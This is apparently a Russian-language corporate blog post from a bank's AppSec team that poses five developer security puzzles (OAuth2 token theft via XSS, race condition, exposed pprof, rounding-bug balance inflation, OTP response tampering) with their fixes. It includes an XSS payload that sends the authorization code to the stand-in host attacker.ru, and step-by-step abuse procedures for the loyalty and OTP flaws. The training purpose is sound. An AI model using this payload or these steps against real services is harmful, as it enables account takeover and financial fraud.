Как стать автором
Обновить
546.38
Альфа-Банк
Лучший мобильный банк по версии Markswebb

Пять простых* задач по кибербезопасности для разработчика

Уровень сложностиСредний
Время на прочтение11 мин
Количество просмотров2.9K

Привет! Это Маша из AppSec Альфа-Банка. Я люблю, чтобы разработчикам было интересно, а продукты компании были безопасными.

Наша команда безопасной разработки подготовила для вас примеры уязвимостей, которых можно избежать в своем коде. Мы показали примеры в виде задач, предложили решение и пути предотвращения. 

Все задачи из примеров встречались нам ранее в программах BugBounty или на прошлых местах работы и воссозданы в тестовой среде.

Предлагаем вам принять участие в решении задач в формате  челленджа — для удовольствия и вдохновения. И очень хотим напомнить о важности безопасной разработки.

Дисклеймер.

Вся информация в статье носит исключительно образовательный характер, чтобы уберечь пользователей от утечки информационных данных и повысить бдительность в защите своих данных. Информация предоставлена исключительно в рамках ознакомления и изучения проблем безопасности. Информация содержит мнение и личный опыт автора, цель которых — побудить к тому, что время от времени требуется проводить аудит информационной безопасности в сети Интернет.

Автор не поощряет действия хакеров, которые действуют вне законов государства, также автор сам таким не является. Запрещено применение рассматриваемых методик атак в незаконных целях. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция и автор в этих случаях ответственности не несет, как и за содержание материалов в предоставленных ссылках.

Задача №1: «Похищение аккаунта»

Условие

Представим, что у нас есть веб-приложение, использующее OAuth2. Мы обнаружили, что при авторизации возможно подменить путь в параметре redirect_uri, а также на одной из страниц приложения была обнаружена Reflected XSS. Как совместить эти недостатки, чтобы украсть аккаунт пользователя?

Решение

Отраженные (reflected) XSS уже множество раз были описаны. Уверен, что вы с ними знакомы, но если нет, описание можно найти на PortSwigger.

А вот с OAuth2 чуть интереснее.

При авторизации по стандарту OAuth2 пользователь перенаправляется с сайта, на котором хочет авторизоваться, на сторонний ресурс, что и будет его авторизовывать. В запросе на авторизующий сервер присутствует набор параметров, определяющих условия авторизации. Один из них — redirect_uri — хранит адрес, на который сервис перенаправит браузер пользователя после выдачи авторизационного кода.

Классическая атака на OAuth2 подразумевает отправку легитимному пользователю ссылки на авторизацию, в значении redirect_uri которой указан адрес, подконтрольный атакующему. Таким образом, после успешной авторизации пользователь будет направлен на адрес атакующего, который получит код и завершит авторизацию вместо легитимного пользователя. Более подробное описание можно также найти на PortSwigger.

Однако при авторизации в данном веб-приложении валидировался домен, передаваемый в redirect_uri, и подменить возможно было только путь в нем, что делает описанную выше атаку невозможной. Обойти данное ограничение возможно с помощью найденной ранее XSS. 

Итак, у нас в руках классическая XSS в параметре GET-запроса postId:

Демонстрация XSS в браузере.

Демонстрация XSS.
Демонстрация XSS.

Такая уязвимость открывает перед атакующим возможность подставить в путь redirect_uri скрипт, который может прочитать код авторизации со страницы легитимного приложения и отправить его злоумышленнику. Давайте напишем полезную нагрузку для выполнения этой задачи:

5"><script>window.location.href='https://attacker.ru/?'+window.location.search.substring(197)
</script>//

В этой нагрузке...

5”> - закрываем тэг <input …> 

window.location.href

…это функция, перенавляющая пользователя на произвольный адрес. В нашем случае — на подконтрольный потенциальному злоумышленнику сервер.

Прикрепляем к ссылке на сторонний ресурс параметры запроса к изначальной странице, начиная со 197 символа, где начинается код авторизации:

window.location.search.substring(197)

Для демонстрации работы уязвимости воспользуемся эксплойт-сервером PortSwigger. Сначала создаем страницу, которая перенаправит пользователя на авторизацию с использованием OAuth2. В параметре redirect_uri добавим созданную полезную нагрузку:

Ответ страницы атакующего.
Ответ страницы атакующего.

Далее атакующий отправляет ссылку на эту страницу легитимному пользователю. При переходе по ней пользователь совершит серию следующих запросов:

№1. перенаправление на страницу авторизации с полезной нагрузкой в redirect_uri.

№2. Пользователь авторизуется (или уже успешно авторизован) и перенаправляется обратно на сайт с кодом авторизации в параметре code:

№3. Однако вместо того, чтобы передать код на страницу, куда он должен быть доставлен, пользователь передает код на другую страницу, на которую также внедряется написанный ранее скрипт:

№4. Скрипт передает код на страницу, подконтрольную злоумышленнику:

№5. Далее злоумышленник может авторизоваться вместо пользователя с помощью полученного кода:

А какое решение предложили бы вы?

Меры защиты

Данная уязвимость возможна из-за наличия двух составляющих: XSS и неполной валидации redirect_uri.

№1. Защита от XSS:

  1. Валидация пользовательского ввода в веб-приложении.

  2. Кодирование вывода пользовательского ввода на страницы веб-приложения.

Примечание. Подробнее о защите от XSS: PortSwigger.

№2. Защита от подмены redirect_uri на стороне провайдера Oauth2:

  1. Ввести список допустимых redirect_uri. Redirect_uri должен полностью соответствовать разрешенному — стоит минимизировать валидацию с помощью регулярных выражений.

  2. Использовать параметр state в ходе авторизации.

  3. Проверять, что токен авторизации выдаётся на тот же client_id, от имени которого осуществляется запрос.

№3. Защита от подмены redirect_uri на стороне приложения-клиента Oauth2 — использовать параметр state в ходе авторизации.

Примечание. Подробнее о защите OAuth2: PortSwigger.

Задача №2: «Распродажа»

Условие

Представим, что специалистами по безопасности приложений была найдена ошибка в одном из продуктов, позволяющая изменять конечную цену товара. Известно, что внутри класса Promocode есть обращение к методу calculate_total. Ниже представлена часть кода, содержащая уязвимость.

Решение

Архитектурно в данном приложении допущена уязвимость Race condition. 

Race condition (состояние гонки) — это ошибка в многопоточных или многозадачных системах, которая возникает, когда поведение программы зависит от того, в каком порядке выполняются потоки или процессы. Если несколько потоков одновременно обращаются к общим данным, и хотя бы один из потоков изменяет эти данные, результат может быть непредсказуемым и ошибочным. 

Рассмотрим подробнее, что написано в коде. 

Переданный пользователем промокод изначально проверяется только на пустую строку. Далее он становится частью объекта класса ShoppingCart как объект класса Promocode, в конструкторе которого реализована стандартная логика взаимодействия с промокодами: проверка действительности, получение скидочного процента, проверка на то, может ли он быть применён, и т.д.

В момент создания класса Promocode, а также реализации его функций до момента присвоения его полю self.promo_code создаётся временное окно порядка нескольких десятков миллисекунд. При одновременной отправке нескольких запросов возможна ситуация, при которой сумма пересчитывается несколько раз. 

Ситуация происходит из-за того, что применение происходит раньше, чем присвоение объекта класса промокода внутреннему полю ShoppingCart. И, хоть для корзины и была реализована синхронизация потоков (self.lock), но она не была применена при работе с промокодами.

Также важно отметить, что функция is_valid влияет только на то, какой ответ будет возвращаться apply_promo_code. На непосредственное применение промокода она никак не влияет, поскольку проверка реализована уже после применения промокода.

А теперь исправляем код.

Готово.

Примечание. Данное семейство уязвимостей хорошо рассмотрено в PortSwigger Web Academy. Также оставляю ссылку на исследование уязвимости.

Задача №3: «Раскрытие информации»

Условие

Следующая задача относится к типу «Устранение уязвимостей, выявленных инструментам автоматического сканирования (SAST/SCA/DAST)» (один из четырёх типов заданий, подготовленных для багатона по информационной безопасности, оставляю ссылку на фотоотчёт). Представим, что динамическим анализатором был обнаружен доступный эндпоинт/debug/pprof. В чём заключается данный недостаток и к чему он может привести?

Решение

Для начала немного теории. 

  • Некоторые приложения используют микросервисную архитектуру: разные части приложения представлены в виде контейнеров в составе кластера (чаще всего Kubernetes). 

  • На каждом из контейнеров в рамках кластера существует агент — Kubelet. Он отвечает за работоспособность, а также корректность функционирования контейнера (в соответствии с заявленными спецификациями).

  • Данный агент поднимает веб-приложение, по умолчанию доступное только на localhost, и реализует механизм профилирования.

Существует уязвимость CVE-2019-11248, при которой в результате некоторых настроек путь /debug/pprof становится доступен снаружи кластера. Данный недостаток приводит к раскрытию отладочной информации, а также к возможности чтения памяти контейнера. В памяти могут находиться токены аутентификации, данные учетных записей, переменные окружения и другие чувствительные данные.

Пример получения дампа памяти.

Несмотря на то, что данная уязвимость не критична, в дампе памяти можно найти чувствительную информацию, которая в дальнейшем может помочь злоумышленнику при реализации других векторов атак. 

Для устранения данной уязвимости необходимо обновить версию Kubernetes, а если быть точным, то версию его компонента - Kubelet.

Для предотвращения подобных уязвимостей важно помнить, что статический анализ не покрывает все типы уязвимостей.

Некоторые уязвимости могут быть заложены, например, архитектурно, в одном из компонентов сервиса (в данном случае данным компонентом выступает среда развёртки). Применение динамического метода тестирования позволяет обнаружить другие интересные уязвимости, которые не обнаружить стандартными техниками. Поэтому при построении процесса безопасной разработки важно использовать комплексный подход.

Задача №4: «Накрутка бонусного баланса в системе лояльности»

Условие

В системе лояльности банка реализована функциональность вывода бонусных средств на банковский счёт клиента. Бонусы в системе хранятся в копейках minorUnits, но при округлении значений на стороне сервера происходит ошибка.

Как можно это эксплуатировать, чтобы вывести больше денег, чем реально начислено?

Решение

Немного теории о том, как это работает. Системы лояльности часто используют внутреннюю валюту (бонусы, кэшбэк и т.д.), которые хранятся в минимальных единицах (копейках). Например, если начислено 200 рублей кэшбэка, в базе данных будет 20 000 копеек.

При конвертации бонусов в рубли сервер должен корректно округлять суммы. Если округление реализовано некорректно, можно изменить параметры запроса, чтобы получить больше денег, чем реально начислено. Ошибку можно эксплуатировать, если сервер неправильно интерпретирует поле minorUnits без проверки соответствия полю value на серверной стороне.

При анализе API системы лояльности был обнаружен такой эндпоинт:

https://api.bank-loyalty.ru/v2/cashback/exchange

Оригинальный запрос на вывод 1 рубля (100 копеек):

В этом запросе мы запрашиваем вывод 1 рубля, что отражено в поле value: 1. Так как сумма хранится в минимальных единицах (копейках), minorUnits установлен равным 100. Перевод выполняется с бонусного счёта (sender) на банковский (recipient). 

На первый взгляд всё работает корректно.

Однако, что произойдет, если изменить minorUnits и указать не 100 копеек, а, например, 1? Если сервер неправильно округляет значения, он может воспринять 1 копейку как 1 рубль, что приведет к некорректному увеличению баланса. Давайте проверим.

В самом запросе value остаётся равным 1, но из-за ошибки расчётов списание идёт в копейках, а зачисление  в рублях.

После отправки измененного запроса сервер возвращает успешный ответ, подтверждающий перевод.

В ответе видно, что операция завершилась успешно: сумма в amountTransferred составляет 1 рубль, но фактически на списание ушла всего 1 копейка.

После успешной эксплуатации бага можно комбинировать два типа запросов:

  • Оригинальный (minorUnits = 100): списывает и зачисляет 1 рубль —> баланс не меняется.

  • Модифицированный (minorUnits = 1): списывает 1 копейку, но зачисляет 1 рубль —> баланс растёт.

Только модифицированный запрос быстро исчерпает бонусы, но в сочетании с обычным баланс начнёт увеличиваться без ограничений. При некорректной валидации сумм последовательная отправка этих запросов приведёт к неконтролируемому росту баланса. Запрашиваем баланс, чтобы проверить результат.

Смотрим, что возвращает сервер.

Баланс увеличивается постепенно: каждое повторение цикла даёт небольшой прирост, но за счёт ошибки округления эти приросты накапливаются. Например, начиная с 200 рублей, за несколько циклов баланс вырос до 400.50 рублей. Сервер некорректно интерпретирует minorUnits, поэтому копейки превращаются в рубли, позволяя бесконечно накручивать сумму.

Ошибка округления в API даёт злоумышленнику возможность выводить больше денег, чем у него есть, фактически создавая средства из воздуха. Такие уязвимости встречаются не только в банковских системах, но и в бонусных программах, маркетплейсах и сервисах с кэшбеком. Если не исправить проблему, её можно автоматизировать и использовать в массовых атаках, что приведёт к финансовым потерям.

Выявлять такие схемы можно через анализ частоты подобных транзакций в антифрод-системе и отслеживание аномального роста баланса.

 Как можно митигировать:

  1. Строгая серверная валидация соответствия суммы в рублях и копейках. 

  2. Транзакционная целостность: списание и зачисление бонусов на счёт должны выполняться как единая операция (или с гарантированным откатом), чтобы исключить ситуации рассинхронизации.

  3. Ограничение частоты операций (rate-limiting) на уровне API Gateway или в бизнес-логике, чтобы предотвратить автоматизированную накрутку через массовые запросы.

Примечание. Эта категория уязвимостей детально рассмотрена в PortSwigger Web Academy:

Задача №5: Обход OTP и массовая регистрация на чужие номера

Условие

В системе регистрации используется верификация номера телефона через одноразовый код (OTP). Однако мы обнаружили, что процесс проверки можно обойти, подменив ответ сервера.

Как это может позволить злоумышленнику регистрировать аккаунты на чужие номера и блокировать их владельцев?

Решение

Классическая схема работы одноразовых паролей выглядит так:

  • Сервер отправляет случайно сгенерированный код на номер телефона пользователя.

  • Пользователь вводит полученный код в поле ввода.

  • Сервер сверяет введённый код с тем, что хранится в базе. Если совпадает, то регистрация продолжается. Если нет — выдаётся ошибка.

В уязвимой системе проверка устроена иначе. Вместо того чтобы сверять код с сохраненным значением на сервере, система просто доверяет ответу клиента и принимает простое поле "success": true/false, что позволяет злоумышленнику подменить результат верификации на клиентской стороне.

Если перехватить этот ответ и заменить "success": false на "success": true, система воспримет это как успешную верификацию. Это значит, что можно зарегистрировать аккаунт без реального подтверждения номера телефона. Проверим.

Исходный запрос.

При вводе номера телефона и отправке одноразового кода клиент отправляет такой запрос:

Если код введен неверно, сервер возвращает:

На этом этапе регистрация должна остановиться. Но если заменить success: false на success: true и отправить измененный ответ клиенту, процесс регистрации продолжится без фактического подтверждения номера.

Как работает обход?

Перехватываем ответ сервера (например, через Burp Suite), изменяем поле success на true и отправляем обратно. Фронт принимает это за успешное прохождение проверки, и регистрация завершается.

Изменённый ответ сервера выглядит так:

Система фиксирует номер как подтвержденный и завершает регистрацию. Теперь этот номер нельзя использовать повторно для создания нового аккаунта.

Что происходит дальше?

Если настоящий владелец этого номера попробует зарегистрироваться, то получит ошибку:

И ответ:

Сервис не позволяет одному номеру быть привязанным к двум аккаунтам. Это значит, что пользователь больше не сможет создать учётную запись на свой собственный номер.

Используя этот же метод, можно автоматически регистрировать множество аккаунтов на случайные номера.

Алгоритм атаки:

  • Указываем номер телефона.

  • Вводим случайный код (или оставляем поле пустым).

  • Перехватываем ответ сервера и меняем "success": false на "success": true.

  • Аккаунт создаётся и привязывается к этому номеру.

Автоматизировав процесс с помощью простых скриптов или инструментов, потенциальный злоумышленник может массово создавать аккаунты, что быстро приведёт к невозможности регистрации для большого числа реальных пользователей и значительным репутационным потерям.

Обход лимитов на отправку OTP.

Обычно банки ограничивают число попыток ввода OTP, но здесь это бессмысленно: сервер не проверяет код, а просто принимает "success": true от клиента. Это позволяет обходить проверку и регистрировать аккаунты бесконечно.

Как можно митигировать проблему:

  1. Валидация OTP должна выполняться только на сервере. Фронт должен получать результат проверки (успех/ошибка), но при последующих запросах сервер должен проверять факт успешного прохождения этой проверки.

  2. Ограничить число попыток ввода OTP, а также блокировать отправку новых кодов при подозрительной активности. Важно здесь то, что это помогает только в дополнение к серверной валидации, но не заменяет её.

Ошибка валидации OTP — один из примеров, когда разработчики полагаются на клиент, вместо того, чтобы обрабатывать данные на сервере. Такие уязвимости встречаются в разных системах, и их эксплуатация может привести к серьезным последствиям для бизнеса.

Этот класс уязвимостей описан в PortSwigger Web Academy:

Подобные задачи мы давали разработчикам в рамках багатона по кибербезопасности в категории «Поиск новых уязвимостей» (из 4-х категорий). Новых уязвимостей было найдено 5, а еще очень довольны количеством исправленных уязвимостей. Подробно о том, как проходил багатон, описали в посте, переходите по ссылке, там организационные подробности и много фотографий. 

Несколько правил организации багатона по кибербезопасности
Привет! Это Маша из AppSec Альфа-Банка. Недавно мы провели первый (для себя) багатон по кибербезопас...
habr.com

Задачи любезно предоставлены дорогими AppSec Business Partners: Андреем, Андреем и Димой.

Теги:
Хабы:
+11
Комментарии0

Полезные ссылки

Программисты всё вымирают и вымирают

Уровень сложностиПростой
Время на прочтение19 мин
Количество просмотров137K
Всего голосов 332: ↑322 и ↓10+374
Комментарии583

Дореволюционный Энциклопедический словарь Брокгауза и Ефрона

Уровень сложностиПростой
Время на прочтение13 мин
Количество просмотров5.1K
Всего голосов 50: ↑49 и ↓1+67
Комментарии19

Не всё так просто с луддитами, как кажется

Уровень сложностиПростой
Время на прочтение24 мин
Количество просмотров20K
Всего голосов 139: ↑131 и ↓8+147
Комментарии135

Кнопки в автомобиле — это уже роскошь

Уровень сложностиПростой
Время на прочтение26 мин
Количество просмотров21K
Всего голосов 86: ↑84 и ↓2+96
Комментарии610

Великобритания, долги, Южные моря и Исаак Ньютон

Уровень сложностиПростой
Время на прочтение12 мин
Количество просмотров8.2K
Всего голосов 41: ↑40 и ↓1+52
Комментарии35

Информация

Сайт
digital.alfabank.ru
Дата регистрации
Дата основания
1990
Численность
свыше 10 000 человек
Местоположение
Россия